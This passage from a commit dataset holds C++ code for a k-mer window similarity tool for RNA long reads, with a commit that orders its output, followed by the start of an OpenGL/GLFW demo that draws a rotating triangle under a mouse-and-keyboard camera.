posiOnTarget+w; ++posInW){\n\t\t\/\/~ string kmer = getKmer(target, posInW, k);\n\t\t\/\/~ if (solidKmers.count(kmer)){\n\t\t\t\/\/~ if (not kmerToWindows.count(kmer)){\n\t\t\t\t\/\/~ vector<int> vecIndexes;\n\t\t\t\t\/\/~ vecIndexes.push_back(indexWindow);\n\t\t\t\t\/\/~ kmerToWindows[kmer] = vecIndexes;\n\t\t\t\/\/~ } else {\n\t\t\t\t\/\/~ kmerToWindows[kmer].push_back(indexWindow);\n\t\t\t\t\/\/~ sort(kmerToWindows[kmer].begin(), kmerToWindows[kmer].end());\n\t\t\t\t\/\/~ vector <int> vect = removeDuplicates(kmerToWindows[kmer]);\n\t\t\t\t\/\/~ kmerToWindows[kmer] = vect;\n\t\t\t\/\/~ }\n\t\t\/\/~ } else {\n\t\t\t\/\/~ cout << kmer << endl;\n\t\t\/\/~ }\n\t\/\/~ }\n\/\/~ }\n\n\/\/~ void getSimilarityWindowQuery(int posiOnQuery, string readSeq, int k, int w, unordered_map <string, int> solidKmers, unordered_map <string, vector<int>> kmerToWindowsTarget, unordered_map<int,double>& similarity){\n\t\/\/~ int nbKmersinWindowQuery(0);\n\t\/\/~ for (int posInW(0); posInW < posiOnQuery+w; ++posInW){\n\t\t\/\/~ string kmer = getKmer(readSeq, posInW, k);\n\t\t\/\/~ if (solidKmers.count(kmer)){\n\t\t\t\/\/~ ++ nbKmersinWindowQuery;\n\t\t\t\/\/~ if (kmerToWindowsTarget.count(kmer)){ \/\/ kmer is in target\n\t\t\t\t\/\/~ for (uint i(0); i<kmerToWindowsTarget[kmer].size();++i){\n\t\t\t\t\t\/\/~ int winT(kmerToWindowsTarget[kmer][i]);\n\t\t\t\t\t\/\/~ if (similarity.count(winT)==1){\n\t\t\t\t\t\t\/\/~ ++ similarity[winT];\n\t\t\t\t\t\/\/~ } else {\n\t\t\t\t\t\t\/\/~ similarity[winT] = 1;\n\t\t\t\t\t\/\/~ }\n\t\t\t\t\/\/~ }\n\t\t\t\/\/~ }\n\t\t\/\/~ }\n\t\/\/~ }\n\t\/\/~ for (auto iter(similarity.begin()); iter != similarity.end(); ++iter ){\n\t\t\/\/~ if (iter->second != 0){\n\t\t\t\/\/~ iter->second \/= nbKmersinWindowQuery;\n\t\t\/\/~ }\n\t\/\/~ }\n\/\/~ }\n\n\n\/\/~ int main(int argc, char ** argv){\n\t\/\/~ if (argc < 4){\n\t\t\/\/~ cout << \"command line: .\/rnaLR reads.fasta k w\" << endl;\n\t\/\/~ } else {\n\t\t\/\/~ int k = stoi(argv[2]);\n\t\t\/\/~ int w = stoi(argv[3]);\n\t\t\/\/~ string target = \"AATCGATTCTT\"; \n\t\t\/\/~ vector<string> query = {\"AATCGATTCTTGTGGGCCCTGAGATCGATTCTT\", revComp(target)};\n\t\t\/\/~ unordered_map <string, int> kmersFromFile;\n\t\t\/\/~ unordered_map <string, int> solidKmers;\n\t\t\/\/~ unordered_map <string, vector<int>> kmerToWindows;\n\t\t\/\/~ getKmersFromRead(target, k, kmersFromFile);\n\t\t\/\/~ for (uint s(0); s < query.size(); ++s){\n\t\t\t\/\/~ getKmersFromRead(query[s], k, kmersFromFile);\n\t\t\/\/~ }\n\t\t\/\/~ getSolidKmers(kmersFromFile, solidKmers);\n\t\t\/\/~ uint posi(0);\n\t\t\/\/~ int indexWindow(0);\n\t\t\/\/~ do{\n\t\t\t\/\/~ putKmersToWindowsTarget(solidKmers, kmerToWindows, target, indexWindow, posi, w, k);\n\t\t\t\/\/~ ++ indexWindow;\n\t\t\t\/\/~ posi += w;\n\t\t\/\/~ } while (posi < target.size()-w-k+2);\n\t\t\n\t\t\/\/~ for (uint reads(0); reads < query.size(); ++reads){\n\t\t\t\/\/~ cout << \"read n\" << reads << endl;\n\t\t\t\/\/~ uint posiOnQuery(0);\n\t\t\t\/\/~ int indexWindowQuery(0);\n\t\t\t\/\/~ do{\n\t\t\t\/\/~ unordered_map<int,double> similarity; \/\/key: window on target\/value: score\n\t\t\t\/\/~ getSimilarityWindowQuery(posiOnQuery, query[reads], k, w, solidKmers, kmerToWindows, similarity);\n\t\t\t\/\/~ for (auto iter = similarity.begin(); iter != similarity.end(); ++iter ){\n\t\t\t\t\/\/~ if (iter->second >= 0.5){\n\t\t\t\t\t\/\/~ cout << iter->first << \" \" << indexWindowQuery << \" \" << iter->second << endl;\n\t\t\t\t\/\/~ }\n\t\t\t\/\/~ }\n\t\t\t\/\/~ ++ indexWindowQuery;\n\t\t\t\/\/~ posiOnQuery += w;\n\t\t\t\/\/~ } while (posiOnQuery < query[reads].size()-w-k+2);\n\t\t\/\/~ }\n\t\t\/\/~ return 0;\n\t\/\/~ }\n\/\/~ }\n\n\nstruct window{\n\tint index;\n\tint read;\n\n bool operator==(const window& a) const\n\t{\n\t\treturn (index == a.index && read == a.read);\n\t}\n};\n\n\nuint64_t transformWindowToHash(window win){\n\thash<int> winHash;\n\treturn winHash(win.read + win.index);\n}\n\n\nnamespace std { template <> struct hash<window> {\n\ttypedef window argument_type;\n\ttypedef uint64_t result_type; uint64_t operator()(window key) const { return transformWindowToHash(key); } }; }\n\n\nstruct compareWindow{\n bool operator()(const window& win1, const window& win2){\n return win1.index <win2.index;\n }\n};\n\n\n\nvector<window> removeDuplicates(const vector<window>& vect){\n\tvector<window> vectResult;\n\tfor (uint i(0); i< vect.size(); ++i){\n\t\tif (i == vect.size()-1 or not (vect[i].index == vect[i+1].index and vect[i].read == vect[i+1].read)){\n\t\t\tvectResult.push_back(vect[i]);\n\t\t}\n\t}\n\treturn vectResult;\n}\n\n\nstring revComp(const string& seq){\n\tstring revCompSeq = \"\";\n\tint pos = seq.size()-1;\n\tchar nt;\n\tdo{\n\t\tnt = seq[pos];\n\t\tswitch (nt) {\n\t\t\tcase 'A':\n\t\t\t\trevCompSeq += 'T';\n\t\t\t\tbreak;\n\t\t\tcase 'T':\n\t\t\t\trevCompSeq += 'A';\n\t\t\t\tbreak;\n\t\t\tcase 'C':\n\t\t\t\trevCompSeq += 'G';\n\t\t\t\tbreak;\n\t\t\tcase 'G':\n\t\t\t\trevCompSeq += 'C';\n\t\t\t\tbreak;\n\t\t}\n\t\t--pos;\n\t} while (pos>=0);\n\treturn revCompSeq;\n}\n\n\nstring getCanonical(const string& seq){\n\tstring revCompSeq = revComp(seq);\n\treturn min(seq, revCompSeq); \n}\n\n\nstring getKmer(const string& sequence, int posi, int k){\n\treturn getCanonical(sequence.substr(posi, k));\n}\n\n\nvoid setKmersToWindows(int indexRead, int indexWindow, string kmer, const unordered_map<string, int>& solidKmers, unordered_map <string, vector <window>>& kmerToWindows){\n\tif (solidKmers.count(kmer)){\n\t\twindow win({indexWindow, indexRead});\n\t\tif (kmerToWindows.count(kmer)){\n\t\t\tkmerToWindows[kmer].push_back(win);\n\t\t\tsort(kmerToWindows[kmer].begin(), kmerToWindows[kmer].end(), compareWindow());\n\t\t\tkmerToWindows[kmer] = removeDuplicates(kmerToWindows[kmer]);\n\t\t} else {\n\t\t\tvector <window> vectWin({win});\n\t\t\tkmerToWindows[kmer] = vectWin;\n\t\t}\n\t}\n}\n\n\nvoid getKmersinWindowsFromReads(int k, int w, const vector <string>& readSet, const unordered_map<string, int>& solidKmers, unordered_map <string, vector<window>>& kmerToWindows){\n\tfor (uint indexRead(0); indexRead < readSet.size(); ++ indexRead){\n\t\tstring readSequence(readSet[indexRead]);\n\t\tif (not readSequence.empty()) {\n\t\t\tint position(0);\n\t\t\tint posiForKmer;\n\t\t\tstring kmer;\n\t\t\tint indexWindow(0);\n\t\t\twhile (position != -1){\n\t\t\t\tif (position + w + k - 1 < (int)readSequence.size()){\n\t\t\t\t\tposiForKmer = position;\n\t\t\t\t\tposition += w;\n\t\t\t\t} else {\n\t\t\t\t\tposiForKmer = readSequence.size() - w - k + 1;\n\t\t\t\t\tposition = -1;\n\t\t\t\t}\n\t\t\t\tfor (int iter(posiForKmer); iter < posiForKmer + w; ++iter){\n\t\t\t\t\tkmer = getKmer(readSequence, iter, k);\n\t\t\t\t\tsetKmersToWindows(indexRead, indexWindow, kmer, solidKmers, kmerToWindows);\n\t\t\t\t}\n\t\t\t\t++indexWindow;\n\t\t\t}\n\t\t\t\/\/~ for (auto iter = kmerToWindows.begin(); iter != kmerToWindows.end(); ++iter ){\n\t\t\t\t\/\/~ cout << iter->first << endl;\n\t\t\t\t\/\/~ for (uint i(0); i <iter->second.size();++i){\n\t\t\t\t\t\/\/~ cout << \"index:\"<<iter->second[i].index << \" read:\" <<iter->second[i].read << endl;\n\t\t\t\t\/\/~ }\n\t\t\t\/\/~ }\n\t\t}\n\t}\n}\n\n\nvoid getKmersinFromReadsInMap(int k, const vector <string>& readSet, unordered_map <string, int>& kmersFromFile){\n\tfor (uint readIndex(0); readIndex < readSet.size(); ++ readIndex){\n\t\tstring readSequence(readSet[readIndex]);\n\t\tif (not readSequence.empty()){\n\t\t\tint position(0);\n\t\t\tstring kmer;\n\t\t\t\n\t\t\twhile (position + k - 1 < (int)readSequence.size()){\n\t\t\t\tkmer = getKmer(readSequence, position, k);\n\t\t\t\tif (kmersFromFile.count(kmer)){\n\t\t\t\t\t++kmersFromFile[kmer];\n\t\t\t\t} else {\n\t\t\t\t\tkmersFromFile[kmer] = 1;\n\t\t\t\t}\n\t\t\t\t++position;\n\t\t\t}\n\t\t}\n\t}\n}\n\n\nvoid getSolidKmers(const unordered_map<string, int>& kmersFromFile, unordered_map<string, int>& solidKmers){\n\t for ( unordered_map<string, int>::const_iterator iter = kmersFromFile.begin(); iter != kmersFromFile.end(); ++iter ){\n\t\tif (iter->second > 1){\n\t\t\tsolidKmers[iter->first] = iter->second;\n\t\t} \n\t }\n}\n\n\nvoid compareReadWindows(int k, int w, const vector<string>& readSet,const unordered_map<string, int> solidKmers, const unordered_map<string, vector<window>> kmerToWindows){\n\tfor (uint indexRead(0); indexRead < readSet.size(); ++ indexRead){\n\t\tstring readSequence(readSet[indexRead]);\n\t\tif (not readSequence.empty()){\n\t\t\tint position(0), posiForKmer(0);\n\t\t\tuint indexWindow(0);\n\t\t\twhile (position != -1){\n\t\t\t\tuint nbKmers(0);\n\t\t\t\tunordered_map<window, double> similarity;\n\t\t\t\tif (position + w + k - 1 <(int) readSequence.size()){\n\t\t\t\t\tposiForKmer = position;\n\t\t\t\t\tposition += w;\n\t\t\t\t} else {\n\t\t\t\t\tposiForKmer = readSequence.size() - w - k + 1;\n\t\t\t\t\tposition = -1;\n\t\t\t\t}\n\t\t\t\tfor (int iter(posiForKmer); iter < posiForKmer + w; ++iter){\n\t\t\t\t\tstring kmer = getKmer(readSequence, iter, k);\n\t\t\t\t\tif (solidKmers.count(kmer)){\n\t\t\t\t\t\t++ nbKmers;\n\t\t\t\t\t\tfor (auto iter = kmerToWindows.begin(); iter != kmerToWindows.end(); ++iter ){\n\t\t\t\t\t\t\tfor (uint i(0); i<iter->second.size(); ++i){\n\t\t\t\t\t\t\t\tif (iter->second[i].read != (int)indexRead){\n\t\t\t\t\t\t\t\t\tif (kmer == iter->first){\n\t\t\t\t\t\t\t\t\t\tif (similarity.count(iter->second[i])){\n\t\t\t\t\t\t\t\t\t\t\t++similarity[iter->second[i]];\n\t\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\t\tsimilarity[iter->second[i]] = 1;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfor (auto iter = similarity.begin(); iter != similarity.end(); ++iter ){\n\t\t\t\t\titer->second \/= nbKmers;\n\t\t\t\t\tif (iter->second >= 0.7){\n\t\t\t\t\t\tcout << \"reads:\" << iter->first.read << \" \" << indexRead << \" windows:\" << iter->first.index << \" \" << indexWindow << \" score:\" << iter->second <<endl;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t++indexWindow;\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t}\n}\n\n\nint main(int argc, char ** argv){\n\tif (argc < 4){\n\t\tcout << \"command line: .\/rnaLR reads.fasta k w\" << endl;\n\t} else {\n\t\tstring fileName = argv[1];\n\t\tuint k = stoi(argv[2]);\n\t\tuint w = stoi(argv[3]);\n\t\tifstream readFile(fileName);\n \/\/~ ofstream out(\"out.fa\");\n\t\t\/\/~ vector <string> readSet ({\"AATCGATTCTT\", \"AATCGATTCTT\", \"AATCGATTCTT\"});\n\t\t\/\/~ vector <string> readSet ({\"AATCGATTCTT\", revComp(\"AATCGATTCTT\")});\n\t\tvector <string> readSet;\n\t\tstring sequence;\n\t\twhile (not readFile.eof()){\n getline(readFile, sequence);\n\t\t\tgetline(readFile, sequence);\n\t\t\treadSet.push_back(sequence);\n\t\t}\n\t\tunordered_map <string, int> kmersFromFile; \/\/ TODO: destroy\n\t\tunordered_map <string, int> solidKmers;\n\t\tunordered_map <string, vector<window>> kmerToWindows;\n\t\tgetKmersinFromReadsInMap(k, readSet, kmersFromFile);\n\t\tgetSolidKmers(kmersFromFile, solidKmers);\n\t\tgetKmersinWindowsFromReads(k, w, readSet, solidKmers, kmerToWindows);\n\t\tcompareReadWindows(k, w, readSet, solidKmers, kmerToWindows);\n\t}\n\treturn 0;\n}\n\n<commit_msg>ordered output<commit_after>#include <fstream>\n#include <cstring>\n#include <iostream>\n#include <vector>\n#include <unordered_map>\n#include <algorithm>\n\nusing namespace std;\n\nstruct window{\n\tint index;\n\tint read;\n\n bool operator==(const window& a) const\n\t{\n\t\treturn (index == a.index && read == a.read);\n\t}\n};\n\n\nuint64_t transformWindowToHash(window win){\n\thash<int> winHash;\n\treturn winHash(win.read + win.index);\n}\n\n\nnamespace std { template <> struct hash<window> {\n\ttypedef window argument_type;\n\ttypedef uint64_t result_type; uint64_t operator()(window key) const { return transformWindowToHash(key); } }; }\n\n\nstruct compareWindow{\n bool operator()(const window& win1, const window& win2){\n return win1.index <win2.index;\n }\n};\n\n\n\nvector<window> removeDuplicates(const vector<window>& vect){\n\tvector<window> vectResult;\n\tfor (uint i(0); i< vect.size(); ++i){\n\t\tif (i == vect.size()-1 or not (vect[i].index == vect[i+1].index and vect[i].read == vect[i+1].read)){\n\t\t\tvectResult.push_back(vect[i]);\n\t\t}\n\t}\n\treturn vectResult;\n}\n\n\nstring revComp(const string& seq){\n\tstring revCompSeq = \"\";\n\tint pos = seq.size()-1;\n\tchar nt;\n\tdo{\n\t\tnt = seq[pos];\n\t\tswitch (nt) {\n\t\t\tcase 'A':\n\t\t\t\trevCompSeq += 'T';\n\t\t\t\tbreak;\n\t\t\tcase 'T':\n\t\t\t\trevCompSeq += 'A';\n\t\t\t\tbreak;\n\t\t\tcase 'C':\n\t\t\t\trevCompSeq += 'G';\n\t\t\t\tbreak;\n\t\t\tcase 'G':\n\t\t\t\trevCompSeq += 'C';\n\t\t\t\tbreak;\n\t\t}\n\t\t--pos;\n\t} while (pos>=0);\n\treturn revCompSeq;\n}\n\n\nstring getCanonical(const string& seq){\n\tstring revCompSeq = revComp(seq);\n\treturn min(seq, revCompSeq); \n}\n\n\nstring getKmer(const string& sequence, int posi, int k){\n\treturn getCanonical(sequence.substr(posi, k));\n}\n\n\nvoid setKmersToWindows(int indexRead, int indexWindow, string kmer, const unordered_map<string, int>& solidKmers, unordered_map <string, vector <window>>& kmerToWindows){\n\tif (solidKmers.count(kmer)){\n\t\twindow win({indexWindow, indexRead});\n\t\tif (kmerToWindows.count(kmer)){\n\t\t\tkmerToWindows[kmer].push_back(win);\n\t\t\tsort(kmerToWindows[kmer].begin(), kmerToWindows[kmer].end(), compareWindow());\n\t\t\tkmerToWindows[kmer] = removeDuplicates(kmerToWindows[kmer]);\n\t\t} else {\n\t\t\tvector <window> vectWin({win});\n\t\t\tkmerToWindows[kmer] = vectWin;\n\t\t}\n\t}\n}\n\n\nvoid getKmersinWindowsFromReads(int k, int w, const vector <string>& readSet, const unordered_map<string, int>& solidKmers, unordered_map <string, vector<window>>& kmerToWindows){\n\tfor (uint indexRead(0); indexRead < readSet.size(); ++ indexRead){\n\t\tstring readSequence(readSet[indexRead]);\n\t\tif (not readSequence.empty()) {\n\t\t\tint position(0);\n\t\t\tint posiForKmer;\n\t\t\tstring kmer;\n\t\t\tint indexWindow(0);\n\t\t\twhile (position != -1){\n\t\t\t\tif (position + w + k - 1 < (int)readSequence.size()){\n\t\t\t\t\tposiForKmer = position;\n\t\t\t\t\tposition += w;\n\t\t\t\t} else {\n\t\t\t\t\tposiForKmer = readSequence.size() - w - k + 1;\n\t\t\t\t\tposition = -1;\n\t\t\t\t}\n\t\t\t\tfor (int iter(posiForKmer); iter < posiForKmer + w; ++iter){\n\t\t\t\t\tkmer = getKmer(readSequence, iter, k);\n\t\t\t\t\tsetKmersToWindows(indexRead, indexWindow, kmer, solidKmers, kmerToWindows);\n\t\t\t\t}\n\t\t\t\t++indexWindow;\n\t\t\t}\n\t\t\t\/\/~ for (auto iter = kmerToWindows.begin(); iter != kmerToWindows.end(); ++iter ){\n\t\t\t\t\/\/~ cout << iter->first << endl;\n\t\t\t\t\/\/~ for (uint i(0); i <iter->second.size();++i){\n\t\t\t\t\t\/\/~ cout << \"index:\"<<iter->second[i].index << \" read:\" <<iter->second[i].read << endl;\n\t\t\t\t\/\/~ }\n\t\t\t\/\/~ }\n\t\t}\n\t}\n}\n\n\nvoid getKmersinFromReadsInMap(int k, const vector <string>& readSet, unordered_map <string, int>& kmersFromFile){\n\tfor (uint readIndex(0); readIndex < readSet.size(); ++ readIndex){\n\t\tstring readSequence(readSet[readIndex]);\n\t\tif (not readSequence.empty()){\n\t\t\tint position(0);\n\t\t\tstring kmer;\n\t\t\t\n\t\t\twhile (position + k - 1 < (int)readSequence.size()){\n\t\t\t\tkmer = getKmer(readSequence, position, k);\n\t\t\t\tif (kmersFromFile.count(kmer)){\n\t\t\t\t\t++kmersFromFile[kmer];\n\t\t\t\t} else {\n\t\t\t\t\tkmersFromFile[kmer] = 1;\n\t\t\t\t}\n\t\t\t\t++position;\n\t\t\t}\n\t\t}\n\t}\n}\n\n\nvoid getSolidKmers(const unordered_map<string, int>& kmersFromFile, unordered_map<string, int>& solidKmers){\n\t for ( unordered_map<string, int>::const_iterator iter = kmersFromFile.begin(); iter != kmersFromFile.end(); ++iter ){\n\t\tif (iter->second > 1){\n\t\t\tsolidKmers[iter->first] = iter->second;\n\t\t} \n\t }\n}\n\n\nvoid compareReadWindows(int k, int w, const vector<string>& readSet,const unordered_map<string, int> solidKmers, const unordered_map<string, vector<window>> kmerToWindows){\n\tfor (uint indexRead(0); indexRead < readSet.size(); ++ indexRead){\n\t\tstring readSequence(readSet[indexRead]);\n\t\tif (not readSequence.empty()){\n\t\t\tint position(0), posiForKmer(0);\n\t\t\tuint indexWindow(0);\n\t\t\twhile (position != -1){\n\t\t\t\tuint nbKmers(0);\n\t\t\t\tunordered_map<window, double> similarity;\n\t\t\t\tif (position + w + k - 1 <(int) readSequence.size()){\n\t\t\t\t\tposiForKmer = position;\n\t\t\t\t\tposition += w;\n\t\t\t\t} else {\n\t\t\t\t\tposiForKmer = readSequence.size() - w - k + 1;\n\t\t\t\t\tposition = -1;\n\t\t\t\t}\n\t\t\t\tfor (int iter(posiForKmer); iter < posiForKmer + w; ++iter){\n\t\t\t\t\tstring kmer = getKmer(readSequence, iter, k);\n\t\t\t\t\tif (solidKmers.count(kmer)){\n\t\t\t\t\t\t++ nbKmers;\n\t\t\t\t\t\tfor (auto iter = kmerToWindows.begin(); iter != kmerToWindows.end(); ++iter ){\n\t\t\t\t\t\t\tfor (uint i(0); i<iter->second.size(); ++i){\n\t\t\t\t\t\t\t\tif (iter->second[i].read != (int)indexRead){\n\t\t\t\t\t\t\t\t\tif (kmer == iter->first){\n\t\t\t\t\t\t\t\t\t\tif (similarity.count(iter->second[i])){\n\t\t\t\t\t\t\t\t\t\t\t++similarity[iter->second[i]];\n\t\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\t\tsimilarity[iter->second[i]] = 1;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfor (uint rIndex(0); rIndex<readSet.size();++rIndex){ \/\/ to order the output in cout\n\t\t\t\t\t\/\/~ cout << rIndex << endl;\n\t\t\t\t\tfor (auto iter = similarity.begin(); iter != similarity.end(); ++iter ){\n\t\t\t\t\t\tif (iter->first.read == rIndex){ \/\/ to order the output in cout\n\t\t\t\t\t\t\titer->second \/= nbKmers;\n\t\t\t\t\t\t\tif (iter->second >= 0.7){\n\t\t\t\t\t\t\t\tcout << \"reads:\" << iter->first.read << \" \" << indexRead << \" windows:\" << iter->first.index << \" \" << indexWindow << \" score:\" << iter->second <<endl;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t++indexWindow;\n\t\t\t}\n\t\t}\n\t\tbreak; \/\/ REMOVE IF all v all\n\t}\n}\n\n\nint main(int argc, char ** argv){\n\tif (argc < 4){\n\t\tcout << \"command line: .\/rnaLR reads.fasta k w\" << endl;\n\t} else {\n\t\tstring fileName = argv[1];\n\t\tuint k = stoi(argv[2]);\n\t\tuint w = stoi(argv[3]);\n\t\tifstream readFile(fileName);\n\t\tvector <string> readSet;\n\t\tstring sequence;\n\t\twhile (not readFile.eof()){\n getline(readFile, sequence);\n\t\t\tgetline(readFile, sequence);\n\t\t\treadSet.push_back(sequence);\n\t\t}\n\t\tunordered_map <string, int> kmersFromFile; \/\/ TODO: destroy\n\t\tunordered_map <string, int> solidKmers;\n\t\tunordered_map <string, vector<window>> kmerToWindows;\n\t\tgetKmersinFromReadsInMap(k, readSet, kmersFromFile);\n\t\tgetSolidKmers(kmersFromFile, solidKmers);\n\t\tgetKmersinWindowsFromReads(k, w, readSet, solidKmers, kmerToWindows);\n\t\tcompareReadWindows(k, w, readSet, solidKmers, kmerToWindows);\n\t}\n\treturn 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include <GLXW\/glxw.h>\n#include <glm\/glm.hpp>\n#include <glm\/gtc\/type_ptr.hpp>\n#include <glm\/gtx\/transform.hpp>\n#include <GLFW\/glfw3.h>\n#include <iostream>\n#include <vector>\n#include <defer.h>\n#include <chrono>\n#include \"utils\/utils.h\"\n\nstatic const GLfloat globVertexBufferData[] = {\n -1.0f, -1.0f, 0.0f,\n 1.0f, -1.0f, 0.0f,\n 0.0f, 1.0f, 0.0f,\n};\n\nvoid windowSizeCallback(GLFWwindow *, int width, int height) {\n glViewport(0, 0, width, height);\n}\n\n\/\/ TODO: box instead of triangle\n\/\/ TODO: mouse, keyboard (camera.cpp \/ hpp ? )\n\nint main() {\n if(glfwInit() == GL_FALSE) {\n std::cerr << \"Failed to initialize GLFW\" << std::endl;\n return -1;\n }\n defer(std::cout << \"Calling glfwTerminate()\" << std::endl; glfwTerminate());\n\n glfwDefaultWindowHints();\n\n glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);\n glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);\n glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3);\n\n GLFWwindow* window = glfwCreateWindow(800, 600, \"Triangle\", nullptr, nullptr);\n if(window == nullptr) {\n std::cerr << \"Failed to open GLFW window\" << std::endl;\n return -1;\n }\n defer(std::cout << \"Calling glfwDestroyWindow()\" << std::endl; glfwDestroyWindow(window));\n\n glfwMakeContextCurrent(window);\n\n if(glxwInit()) {\n std::cerr << \"Failed to init GLXW\" << std::endl;\n return -1;\n }\n\n glfwSwapInterval(1);\n\n glfwSetWindowSizeCallback(window, windowSizeCallback);\n\n glfwShowWindow(window);\n\n glEnable(GL_DEPTH_TEST | GL_DOUBLEBUFFER | GL_CULL_FACE); \/\/ TODO: describe GL_CULL_FACE!\n glDepthFunc(GL_LESS);\n\n glClearColor(0, 0, 0, 1);\n\n bool errorFlag = false;\n std::vector<GLuint> shaders;\n\n GLuint vertexShaderId = loadShader(\"shaders\/vertexShader.glsl\", GL_VERTEX_SHADER, &errorFlag);\n if(errorFlag) {\n std::cerr << \"Failed to load vertex shader (invalid working directory?)\" << std::endl;\n return -1;\n }\n\n shaders.push_back(vertexShaderId);\n\n GLuint fragmentShaderId = loadShader(\"shaders\/fragmentShader.glsl\", GL_FRAGMENT_SHADER, &errorFlag);\n if(errorFlag) {\n std::cerr << \"Failed to load fragment shader (invalid working directory?)\" << std::endl;\n return -1;\n }\n shaders.push_back(fragmentShaderId);\n\n GLuint programId = prepareProgram(shaders, &errorFlag);\n if(errorFlag) {\n std::cerr << \"Failed to prepare program\" << std::endl;\n return -1;\n }\n glDeleteShader(vertexShaderId);\n glDeleteShader(fragmentShaderId);\n\n GLuint vbo;\n glGenBuffers(1, &vbo);\n glBindBuffer(GL_ARRAY_BUFFER, vbo);\n glBufferData(GL_ARRAY_BUFFER, sizeof(globVertexBufferData), globVertexBufferData, GL_STATIC_DRAW);\n\n GLuint vao;\n glGenVertexArrays(1, &vao);\n\n glBindVertexArray(vao);\n glBindBuffer(GL_ARRAY_BUFFER, vbo);\n glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 0, nullptr);\n glBindBuffer(GL_ARRAY_BUFFER, 0); \/\/ unbind VBO\n glBindVertexArray(0); \/\/ unbind VAO\n\n float speed = 0.1f; \/\/ units per second\n glm::vec3 position(0, 0, 5); \/\/ Camera is at (0, 0, 5)\n float horizontalAngleRad = 3.14f; \/\/ horizontal angle : toward -Z\n float verticalAngleRad = 0.0f; \/\/ vertical angle : 0, look at the horizon\n float mouseSpeedRad = 0.0025f;\n\n glm::mat4 projection = glm::perspective(90.0f, 4.0f \/ 3.0f, 0.3f, 100.0f);\n\n GLint matrixId = glGetUniformLocation(programId, \"MVP\");\n\n auto startTime = std::chrono::high_resolution_clock::now();\n\n \/\/ hide cursor\n glfwSetInputMode(window, GLFW_CURSOR, GLFW_CURSOR_DISABLED);\n\n while(glfwWindowShouldClose(window) == GL_FALSE) {\n auto currentTime = std::chrono::high_resolution_clock::now();\n auto duration = currentTime - startTime;\n float deltaTimeMs = std::chrono::duration_cast<std::chrono::milliseconds>(duration).count();\n float deltaTimeSec = deltaTimeMs\/1000.0f;\n float rotationTimeMs = 3000.0f;\n float currentRotation = deltaTimeMs \/ rotationTimeMs;\n float angle = 360.0f*(currentRotation - (long)currentRotation);\n\n int windowWidth, windowHeight;\n glfwGetWindowSize(window, &windowWidth, &windowHeight);\n\n double mouseX, mouseY;\n glfwGetCursorPos(window, &mouseX, &mouseY);\n\n horizontalAngleRad += mouseSpeedRad * deltaTimeSec * static_cast<float>(windowWidth\/2 - mouseX);\n verticalAngleRad += mouseSpeedRad * deltaTimeSec * static_cast<float>(windowHeight\/2 - mouseY);\n\n glfwSetCursorPos(window, windowWidth\/2, windowHeight\/2);\n\n \/\/ Direction : Spherical coordinates to Cartesian coordinates conversion\n glm::vec3 direction(\n cos(verticalAngleRad) * sin(horizontalAngleRad),\n sin(verticalAngleRad),\n cos(verticalAngleRad) * cos(horizontalAngleRad)\n );\n\n \/\/ Right vector\n glm::vec3 right = glm::vec3(\n sin(horizontalAngleRad - 3.14f\/2.0f),\n 0,\n cos(horizontalAngleRad - 3.14f\/2.0f)\n );\n\n glm::vec3 up = glm::cross( right, direction );\n\n \/\/ Move forward\n if (glfwGetKey(window, GLFW_KEY_W) == GLFW_PRESS){\n position += direction * deltaTimeSec * speed;\n }\n \/\/ Move backward\n if (glfwGetKey(window, GLFW_KEY_S) == GLFW_PRESS){\n position -= direction * deltaTimeSec * speed;\n }\n \/\/ Strafe left\n if (glfwGetKey(window, GLFW_KEY_A) == GLFW_PRESS){\n position -= right * deltaTimeSec * speed;\n }\n \/\/ Strafe right\n if (glfwGetKey(window, GLFW_KEY_D) == GLFW_PRESS){\n position += right * deltaTimeSec * speed;\n }\n\n \/\/ Camera matrix\n glm::mat4 view = glm::lookAt(position, position + direction, up);\n glm::mat4 model = glm::rotate(angle, 0.0f, 1.0f, 0.0f);\n glm::mat4 mvp = projection * view * model; \/\/ Remember, matrix multiplication is the other way around\n glUniformMatrix4fv(matrixId, 1, GL_FALSE, &mvp[0][0]);\n\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);\n\n glUseProgram(programId);\n\n glBindVertexArray(vao);\n glEnableVertexAttribArray(0);\n glDrawArrays(GL_TRIANGLES, 0, 3);\n glDisableVertexAttribArray(0);\n \n glfwSwapBuffers(window);\n glfwPollEvents();\n }\n\n glDeleteVertexArrays(1, &vao);\n glDeleteBuffers(1, &vbo);\n glDeleteProgram(programId);\n\n return 0;\n}\n<commit_msg>Minor changes<commit_after>#include <GLXW\/glxw.h>\n#include <glm\/glm.hpp>\n#include <glm\/gtc\/type_ptr.hpp>\n#include <glm\/gtx\/transform.hpp>\n#include <GLFW\/glfw3.h>\n#include <iostream>\n#include <vector>\n#include <defer.h>\n#include <chrono>\n#include \"utils\/utils.h\"\n\nstatic const GLfloat globVertexBufferData[] = {\n -1.0f, -1.0f, 0.0f,\n 1.0f, -1.0f, 0.0f,\n 0.0f, 1.0f, 0.0f,\n};\n\nvoid windowSizeCallback(GLFWwindow *, int width, int height) {\n glViewport(0, 0, width, height);\n}\n\n\/\/ TODO: box instead of triangle\n\/\/ TODO: mouse, keyboard (camera.cpp \/ hpp ? )\n\nint main() {\n if(glfwInit() == GL_FALSE) {\n std::cerr << 